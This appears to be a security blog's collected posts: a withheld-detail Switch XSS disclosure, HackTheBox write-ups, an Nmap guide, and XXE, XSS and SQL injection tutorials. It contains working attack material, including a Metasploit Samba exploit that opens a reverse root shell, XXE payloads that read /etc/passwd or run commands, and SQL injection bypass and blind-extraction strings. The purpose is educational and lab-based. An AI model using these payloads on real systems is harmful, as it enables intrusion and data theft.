Performing XSS with a…Nintendo Switch

For all of you who own Nintendo’s latest and greatest console, you may have noticed the system got a firmware update a few days ago to version 12.0. Less then 24 hours into this new firmware version being available I noticed a rather interesting exploit in some of the functionality of the firmware at this stage.

Before we begin, lets be clear: This exploit will not allow you to run unsigned code on the Switch. There is simply no way I would share this exploit publicly if it did. What this exploit does allow someone to do is run their own Javascript code on any device that connects to the Switch using the Switch’s new Screenshot Transfer utility. As this can be done on unmodified Switch hardware/software, I believe this vulnerability deserves a bit of a PSA. I have made Nintendo aware of this vulnerability prior to posting, so this should be patched out soon.

Unfortunately I have to redact some things here…

So, minor update, Nintendo has gotten in touch and has requested that I not have the hacking specifics up here for a little while, presumably until they can get it fixed. As of version 12.0.1, that has not happened yet, and I don’t know if it will for a while.

I have nothing but respect for Nintendo as a company and the products they create, and thus I will be honouring their request. As soon as the time comes, however, I will update this with all the technical information one could want. All I will say now is that it would not be hard for a decently-skilled malicious individual to find it on their own.

For now, I believe the information above is enough to serve the purpose of benefiting the general public. For those that want to protect themselves, the best advice would be to not use the function from a Switch you don’t trust, and some general advice to be vigilant about what QR codes you scan in.

HTB: Find the Easy Pass

This challenge focuses on desktop application security, and I’ll do my best to explain in as-layman-as-possible terms what’s going on in each step, however some basic knowledge of the following might help you you in completing this challenge:

  • Debuggers
  • x86 ASM

For this task, we will need a copy of Windows (running in a VM is fine) and a debugger. I suggest the program x64dbg, which we can download for free here

Our first step is to download and unzip the challenge archive, the password is ‘hackthebox’. Once you’ve extracted the EXE, open x32dbg.exe from the x64dbg package. In the x64dbg window, go to File > Open and select the testing executable we extracted. The windows should now look a little bit like this:

This will look like a lot of nonsense to someone just starting out in reverse engineering, but don’t worry! we won’t be worrying about these just yet. For now, click the Right Arrow next to the pause button once to get to the application’s entry point (where the Operating System’s code loading processes stop and the actual application begins), and again to run the actual program. The program then asks for a password:

Entering a bunch of rubbish into the password field gives us the following message:

This, at first, may not seem useful, but take a copy of the message it has just given us, go back into the debugger and press Ctrl + F2 to restart the application. Now enter a tab called References and look for a search bar at the bottom. Put the message text into this box, and you should see this:

The entry we see here is telling us where in memory the string is being used. If we double click it, it will take us to that area in the CPU instruction stack.

Let’s take a look at the red arrow, where it starts from and the instruction before it:

call easypass.404628
jne easypass.454144

This code is doing the following:

  • calling a function within the binary, likely comparing two values (the call instruction)
  • comparing the two values to see if they’re equal. If they are not, skip to another part of the code (the jne instruction)

What we’re going to do is insert what is known as a breakpoint at the call instruction. This will stop the executable from running once it reaches that instruction. We can then step through the code instruction by instruction. Look at the register values (top right corner of the window) while we do this. Let’s run the application again, and once again put gobbledegook in the password field.

The value in the EAX register is our gobbledegook password, but the value in the EDX register is a little more interesting…Note it down and restart the program, entering this new value into the program.

Success! We have cracked the application.

HTB: Lame

This is far and away one of the easiest HTB boxes to complete. All you need is a copy of Nmap and Metasploit, both of which come with Kali Linux.

Start with an Nmap scan:

nmap -sSV -p0- -A

Breaking down the command arguments:

  • -sS – TCP SYN Stealth Scan
  • V – Print service versions where possible
  • -p0- – Scan all ports from 0 to 65535
  • -A – Run all safe scripts

The Nmap command should output the following:

Starting Nmap 7.80 ( ) at 2021-02-09 22:42 GMT
Nmap scan report for
Host is up (0.024s latency).
Not shown: 65531 filtered ports
21/tcp   open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: OpenWrt White Russian 0.9 (Linux 2.4.30) (92%), Linux 2.6.23 (92%), Arris TG862G/CT cable modem (92%), Control4 HC-300 home controller (92%), D-Link DAP-1522 WAP, or Xerox WorkCentre Pro 245 or 6556 printer (92%), Dell Integrated Remote Access Controller (iDRAC6) (92%), Linksys WET54GS5 WAP, Tranzeo TR-CPQ-19f WAP, or Xerox WorkCentre Pro 265 printer (92%), Linux 2.4.21 - 2.4.31 (likely embedded) (92%), Linux 2.4.27 (92%), Citrix XenServer 5.5 (Linux 2.6.18) (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 2h36m16s, deviation: 3h32m10s, median: 6m14s
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   NetBIOS computer name: 
|   Domain name:
|   FQDN:
|_  System time: 2021-02-09T17:50:41-05:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)

TRACEROUTE (using port 445/tcp)
1   23.71 ms
2   27.17 ms

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 166.23 seconds

So there are a few things that are notable:

  • The FTP server allows anonymous access. That means if I run a command such as ftp and login as anonymous with no password, I have access to the FTP server, but the FTP server is empty. Not much can be done with this yet. Moving on.
  • The FTP server is noted as vsftpd 2.3.4 and the SMB server is noted as 3.0.20-Debian

Write these down somewhere, as chances are, we will need them later.

Our next step is to search for exploits. We will do this using a tool called ‘Searchsploit’, built into Kali Linux. First, lets search for vsftpd version 2.3.4:

searchsploit vsftpd 3.2.1

This should return the following:

vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) | unix/remote/17491.rb

This tells us that an exploit exists for this service and version, but said exploit code only works with Metasploit – it won’t work with a standard Ruby interpreter like the .rb extension might suggest.

Let’s access Metasploit by launching msfconsole in terminal. You will be greeted by a new prompt that takes a very different set of commands. Commands to be entered into this new terminal will marked out with msf > at the beginning. Lets start by finding our exploit:

msf > search vsftpd

This should return a single entry with the line ‘exploit/unix/ftp/vsftpd_234_backdoor’, which sounds very much like our exploit mentioned in Searchsploit! To use the exploit, we type in the following command:

msf > use exploit/unix/ftp/vsftpd_234_backdoor

Success! we have loaded the exploit! Now to configure it as needed, we need to know what options there are to configure. Type in:

msf > options

You should see the following:

Module options (exploit/unix/ftp/vsftpd_234_backdoor):                                                                                                                                                                                    
   Name    Current Setting  Required  Description                                                                                                                                                                                         
   ----    ---------------  --------  -----------                                                                                                                                                                                         
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'                                                                                                                  
   RPORT   21               yes       The target port (TCP)                                                                                                                                                                               
Payload options (cmd/unix/interact):                                                                                                                                                                                                      
   Name  Current Setting  Required  Description                                                                                                                                                                                           
   ----  ---------------  --------  -----------                                                                                                                                                                                           
Exploit target:                                                                                                                                                                                                                           
   Id  Name                                                                                                                                                                                                                               
   --  ----                                                                                                                                                                                                                               
   0   Automatic

Reading through this, we need to set the remote host, or RHOSTS value. We give this the IP of our target like so:

msf > set RHOSTS

And with that out of the way, we run the exploit:

msf > run
[*] - Banner: 220 (vsFTPd 2.3.4)
[*] - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.

Hmmm. Not quite what we were looking for there. It would appear that this service isn’t vulnerable after all. What do we do now? Maybe there is something in our notes that we haven’t fully covered yet?

Aha! There is another service we can potentially try! Let’s search it in Searchsploit!

> searchsploit samba 3.0.20
---------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                |  Path
---------------------------------------------------------------------------------------------- ---------------------------------
Samba 3.0.10 < 3.3.5 - Format String / Security Bypass                                        | multiple/remote/10095.txt
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit)              | unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow                                                         | linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC)                                                 | linux_x86/dos/
---------------------------------------------------------------------------------------------- ---------------------------------

That second exploit looks promising, and it’s another Metasploit one.

> msfconsole
msf > search samba username

Matching Modules

   #  Name                                Disclosure Date  Rank       Check  Description
   -  ----                                ---------------  ----       -----  -----------
   0  exploit/multi/samba/usermap_script  2007-05-14       excellent  No     Samba "username map script" Command Execution                                                            

Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script

That looks like our exploit! let’s load it in and see what options we need to fill out

msf > use exploit/multi/samba/usermap_script
msf > options

Module options (exploit/multi/samba/usermap_script):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   139              yes       The target port (TCP)

Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST        yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

This time we have a bit more to fill out. Because the payload for this exploit is a reverse shell (meaning: the server is phoning home to us to give us control, rather than us going to the server), we need to tell the payload who to contact. The variable for this is LHOST. It may be filled out automatically, but that does not necessarily mean the value is correct. To derive the correct value, execute ip addr and find the IP address for the interface tun0. Fill out both the LHOST and RHOSTS variables as appropriate and run the exploit.

msf > set LHOST
msf > set RHOSTS
msf > run

[*] Started reverse TCP handler on 
[*] Command shell session 1 opened ( -> at 2021-02-12 00:36:24 +0000

It may look like nothing is happening, however, if you try to run the command whoami right now, you’ll get the response of root. This means that you are logged into the remote machine as the root user and can go after the flags in /root/root.txt and /home/makis/user.txt. Use the cat command to read the contents of the file.

Congratulations! You’ve passed your first HTB CTF. Unfortunately it was also the easiest one, and others will get a lot more in-depth. It’s all part of the learning process though, and we will be building our understanding of computer security as we go.


NMap is one of the core tools of a penetration tester. It is a program designed to figure out what’s listening on each of a machine’s TCP or UDP ports. This kind of program is known as a ‘port scanner”

NMap is typically the first stage of Reconnaisance against a host or network, and will often provide a lot of useful information about a machine or network, provided the right arguments are given to it.

(Very) Basic Usage

In order to use NMap with all-default settings, simply put the command and the target in:

nmap [options] [target]

Where [target] can be either an IP address, a hostname or an IP range in either CIDR format or, for example, to include,, and

If [options] is blank, NMap will perform the scan with the following configurations for all hosts:

  • A full-connection TCP scan for each port
  • Only covers the 1000 most popular ports
  • Minimal analysis on what’s running on those ports

This is frequently less-than-ideal for most penetration testing and CTF use cases, so lets look at the options we have.

Scan Types

Nmap provides 3 basic scan types:

  • -sS – SYN Stealth Scan. Instead of completing a TCP Three-way handshake, aborts after step 2, by which point it has already confirmed whether or not something is there. This is typically the faster way to do TCP scans and as such is typically recommended in most cases.
  • -sT – TCP Full-Connect Scan. Performs a full TCP threeway handshake. This should be used only in situations where you do not have root/administrative access (and therefore do not have raw TCP access), or if you are scanning against an IPv6 target, which does not Stealth scanning
  • -sU – UDP Scanning. Performs a UDP scan, waiting for a response back for a given amount of time.

Other Useful Flags

  • -p[port number or range] – Scans the given port(s). To scan all ports, use -p0-.
  • -Pn – Assume the target system is up but isn’t responding to ICMP Pings, thereby forcing NMap to scan each and every port regardless of if it ever gets a response back from the host.
  • -Ps – Scans the network to see if the given host(s) are up. Does not scan ports.
  • -sC – Runs the default category of scripts.
  • -sV – Turnso on service version detection.
  • -A – Turns on service version/OS detection and runs the default category of scripts.
  • -O – Turns on OS detection.
  • -oX <filename> – Outputs the findings in XML format.
  • -oG <filename> – Outputs the findings in an easily-greppable text file.
  • -T[1-5] – Adjusts the speed of the scan. T3 is default, T1 is quiet but very, very slow, and T5 is all speed and no subtlety.

Nmap Scripts

Nmap can optionally run a wide array of scripts to enhance the information gathered. You can find these scripts in /usr/share/nmap/scripts and refer to individual ones with the following argument: --script=[script name]. No need to reference the folder path. You can also load more than one script at a time by separating the script names with commas.

Alternatively you might want to run an entire category of scripts rather than individual ones. You can do this by simply using the category name rather than the name of an individual script as an argument for --script. The available categories are:

  • auth – These scripts deal with authentication credentials and potential bypasses
  • broadcast – These scripts try to discover hosts on the network.
  • brute – These scripts try to brute-force guess their way into services that require authentication.
  • default – These scripts are the default set of scripts, and are also executed when the -A or -sC flags are used.
  • discovery – These scripts try to find out more about the network itself by performing tasks such as querying public DNS registrars and SNMP services.
  • dos – Scripts that test for denial-of-service vulnerabilities. Can cause a denial of service in and of itself!
  • exploit – Scripts that actively exploit a given vulnerability.
  • external – Scripts that, as part of their function, send data to third parties. Examples include the whois-ip plugin.
  • fuzzer – Scripts that send random garbage to servers in order to test server reactions.
  • intrusive – Scripts that have a good chance of either crashing the server or otherwise performing a denial of service
  • malware – Scripts that perform tests looking for tell-tale signs of malware infection.
  • safe – Scripts that aren’t known to crash servers or cause denial of service. The polar opposite of intrusive.
  • vuln – Scripts that check for certain vulnerbilities

XML External Entities (XXE) Injection

What is it?

If your web application processes user-submitted XML data, it may be vulnerable to an attack that allows attackers to read arbitrary data on the filesystem.

XML parsers allow the defining of ‘entities’, including references to stuff outside of the XML file, called an ‘external entity’ This can be used to access local or remote content via a URI, not to be confused with a URL. A URI typically looks something like [protocol]://[path]. For example, loading /etc/passwd on a local Linux system would look like:


Using this to attack

First, we create what is known as a Document Type Definition, or DTD for short. This allows us to define XML elements (the bits that appear like so:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE [DTD-name]
  [<!ELEMENT [element-name] ANY >
   <!ENTITY [entity-name] SYSTEM "[protocol]://[path]" >]>

Where [DTD-name], [element-name], [entity-name], [protocol] and [path] are…the DTD name, XML element name, entity name, protocol and resource path of the thing you’re trying to access. When we want to reference the data in the actual XML, we use the following notation:


So our attacking XML, assuming we are trying to read /etc/passwd, would look something like this:

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM  "file:///etc/passwd" >]>

Is file access the only thing that can be done with this?

Depending on the server in question, no. If the web server in question has the PHP ‘expect’ module loaded, it is possible to get command execution on the machine like so:

<?xml version="1.0" encoding="ISO-8859-1"?>
  [<!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "expect://[command]" >]>

How do system administrators protect against this?

The main protection sysadmins can use when defending a service that requires XML data is to simply not trust any DTD data enclosed in the XML and instead use a static DTD stored locally. That way, the attacker cannot redefine the DTD, or any elements and therefore cannot define entities.

Cross-Site Scripting (XSS)

What Is It?

Imagine you have the ability to alter the behaviour of a web page to your liking to a small (or large) subset of users. No browser plugin installation necessary, the page and it’s behaviour is yours to mess with as you see fit. You control what the user sees, the information they can send (and who it goes to), potentially including session information.

This is the kind of power an XSS vulnerability has. With JavaScript, it is possible to almost completely alter the contents of a page or even redirect users to your own page for nefarious deeds.

How does it work?

Generally speaking, it relies on a few fundamental things:

1) That the application repeats user-inputted data. Doesn’t have to be immediate, and doesn’t have to be the same user doing the inputting as the one to fall victim.

2) That the application fails to effectively separate the inputted data from the existing HTML or JavaScript code (or that such separation is possible to bypass)

There are three main types of XSS.

Reflected XSS

This is where you put the XSS code into a HTML request and have it immediately execute on the responding page. For GET-based XSS flaws, a direct link can be provided to the victim but for POST-based flaws, you’d have to trick them into inputting the XSS code themselves. You can do this by claiming the code is a secret coupon for infinite nachos or something.

Stored XSS

This is where you send your XSS code to an application in a form where it can be stored and brought up later – think something like a Facebook comment. Once the page with the XSS code, the code will execute immediately.


This one is a little different in that instead of exploiting bad handling of HTML code in the server’s responses, we’re exploiting bad handling of user input within the legitimate JavaScript code of the application. Imagine you’re typing into a search bar and as you type a bit of JavaScript changes a bit of text to reflect what you type. If you manage to get some Javascript code running in this reflected bit of text, you’ve got yourself a DOM-Based XSS

Testing for XSS

The simplest test one can do for XSS is to enter the following code into an input field or POST/GET request variable:


This defines a JavaScript block of code that presents a message box window saying ‘XSS’. Alternatively, if you’re looking to persuade someone that an XSS can do real damage, try the following:


This instead loads the document cookies (or at least the ones without the flag ‘HttpOnly’) into the message box. If those don’t work, you can try the following:

- javascript:alert('XSS')
- <iframe src='javascript:alert("XSS")' />

Among a long list of other potential XSS bypass strings.

SQL Injection

What is it?

SQL Injection is a popular method of attack against web applications. In terms of what you can do with one, the options are almost limitless. It is almost like if you were trying to get into a nightclub and if the owner asks you for your ID, you instead hand him a crumpled up piece of paper saying ‘I am the owner, please give me all the money from the cash drawers’. It shouldn’t work…except in this case, the bouncer is the most gullible idiot imaginable and hands you the cash with with a big dumb grin on his face.

This would be incredibly stupid in the real world, so why does it work on websites? Well, this goes back to how SQL databases work. Every interaction with a database is essentially a line of text, much like how you interact with the commandline. So if you were on a login page, the interaction might look something a little like this:

SELECT username, password FROM users WHERE username='<username field>' AND password='<password field>' LIMIT 1;

The web application then swaps out <username field> and <password field> with whatever you entered as username and password. So far, so good. But the problem is, traditional SQL queries cannot tell the difference between what is code, and what is user-inputted data, so if you enter “admin” as your username and the following

' or 1=1;-- -

as a password, that SQL command can look like the following:

SELECT username, password FROM users WHERE username='admin' AND password='' or 1=1;-- -' LIMIT 1;

In other words, instead of checking both the username and password as it should, it is checking for the username and checking the password, but because 1 will always equal 1, it will disregard the lack of a correct password and let it through anyway. ‘– -‘ is a comment delimiter, meaning that anything past that point is disregarded by the SQL server as ‘human garbage’

What Can We Do With It?

There’s a lot of things you can potentially do with a SQL Injection. The obvious ones include pulling data or dropping tables, but with the right configuration, shells can be obtained on these boxes as well. This would effectively allow someone to execute any commands they like against the box.


If the web application uses the injectable SQL data to populate rows on a table, it can be possible to use this to obtain large amounts of data in one sitting. In these cases, first of all we need to ascertain how many columns it is filling up. To do this, we start our payload with something like this (for MySQL backends):


Now, there’s a good chance that the application will either error out or just show a blank screen. This is because the command above only returns one column, but the web application is probably expecting more and doesn’t know what to do. So we continue the shuffle, as so:

' UNION SELECT 1, 2;-- -

And we keep adding numbers in this way until we get something back that isn’t an error or a blank screen. It may, however, look like a Baby’s First Counting Toy, because the numbers are being printed verbatim. Once we have the required amount of columns (I’m going to give an example of 6 columns here), we can run something more interesting:

' UNION SELECT username, password, 3, 4, 5, 6 FROM users;-- -

I’ve skipped ahead past the recon stage of this attack just to demonstrate an injection with some real teeth. In a real pentest/CTF, you’ll want to find out what databases and tables actually exist so you aren’t just hoping there’s a table called ‘users’ with the columns ‘username’ and ‘password’. More on that later.

Injecting what you can’t see

Just because an application fails seemingly gracefully without giving you any output, doesn’t mean that the field cannot be injected into. Indeed, it can still be very much possible to inject code from the application and even extract data from it, by way of inferential injections.

Inferential SQL injections, also known as Blind SQL injections, work a little bit differently from traditional injections. Instead of calling the data out directly, you are instead asking the server to ‘blink’ if the data is matching what you are expecting. This blink can take one of two forms: a Boolean value or a time-based delay. Using this, we can write a bit of code to develop something that works much like Partner-Assisted Scanning in care settings, as seen in the movie The Diving Bell and The Butterfly, in order to tease out strings of data.

Testing for an Inferential SQL Injection

First, we start off with a SQL query that returns a valid response. Once we have that, we tack on an ‘AND 1=1‘ command to see if it returns the same information. If it doesn’t, try experimenting with ending the SQL statement with a semi-colon and comment denominator. Once you have the desired result, try changing the tacked on command to ‘AND 1=2‘. If all goes well, you should get an empty result or an error. Note down any strings you may come across that only happen in cases of such failure. To do this with a time-based delay, simply swap out ‘AND 1=1‘ with ‘AND sleep(10)‘, noting the response time of the page (it should be over 10 seconds in this case. Note that ‘sleep(10)‘ works only with MySQL, and for other SQL server backends, you will need to use a different command to get the same results.

Getting data from an Inferential SQL Injection

For a Boolean inferential, the command to, for example, obtain the list of databases available (again, MySQL only) looks something like this:

<valid data>' AND (ascii(substr((SELECT schema_name FROM information_schema.schemata LIMIT 0,1),1,1))) = <ascii decimal value>;-- -

Sounds like a mess? Let’s break it down:

  • ascii(<character>)‘ turns a given single character into its numerical ASCII value
  • substr(<string data>, <startpoint>, <length>)' returns a part of a string, from the start point until <length> is reached. In our case, we only ever want a <length> of 1. The beginning of the string is always denoted by a <startpoint> of 1
  • SELECT schema_name FROM information_schema.schemata‘ is simply the command we use to obtain the list of SQL databases. You can swap this out for any SQL injection payload.
  • LIMIT <start>,<number of rows>‘ limits us to the the number of rows, starting from the row of our choosing. Unlike with substr, the first row is always 0, not 1
  • = <ascii decimal value>‘ compares the whole statement to a given ascii value. If they match, the SQL code proceeds as normal, but if not, the page returns no data.

It should be noted that the above code doesn’t give you the data right away. What it does is tell you if a specific character in a specific row matches a specific ASCII value or not. In order to make this effective, we will need to write a script in order to send the many hundreds of requests, determine whether the page has returned valid data or not (our ‘tell’ in this scenario), and collate the data into a string. I highly recommend using Python and the ‘requests’ library to get this done.

For delay-based inferentials, it looks more like this:

' AND IF(((ascii(substr((SELECT schema_name FROM information_schema.schemata LIMIT 0,1),1,1)))) = <ascii decimal value>,sleep(10),NULL);-- -

Where the ‘if’ syntax goes as such:

  • IF(<condition>,<operation if true>,<operation if false>)

Cheating a little bit

To truly get the most out of SQL injections, I recommend bookmarking (or even better, creating your own) cheatsheets to make a note of likely commands you will need to use. I recommend the cheatsheets by ‘pentestmonkey’, however, the ones featured in ‘PayloadsAllTheThings’ are worth a look too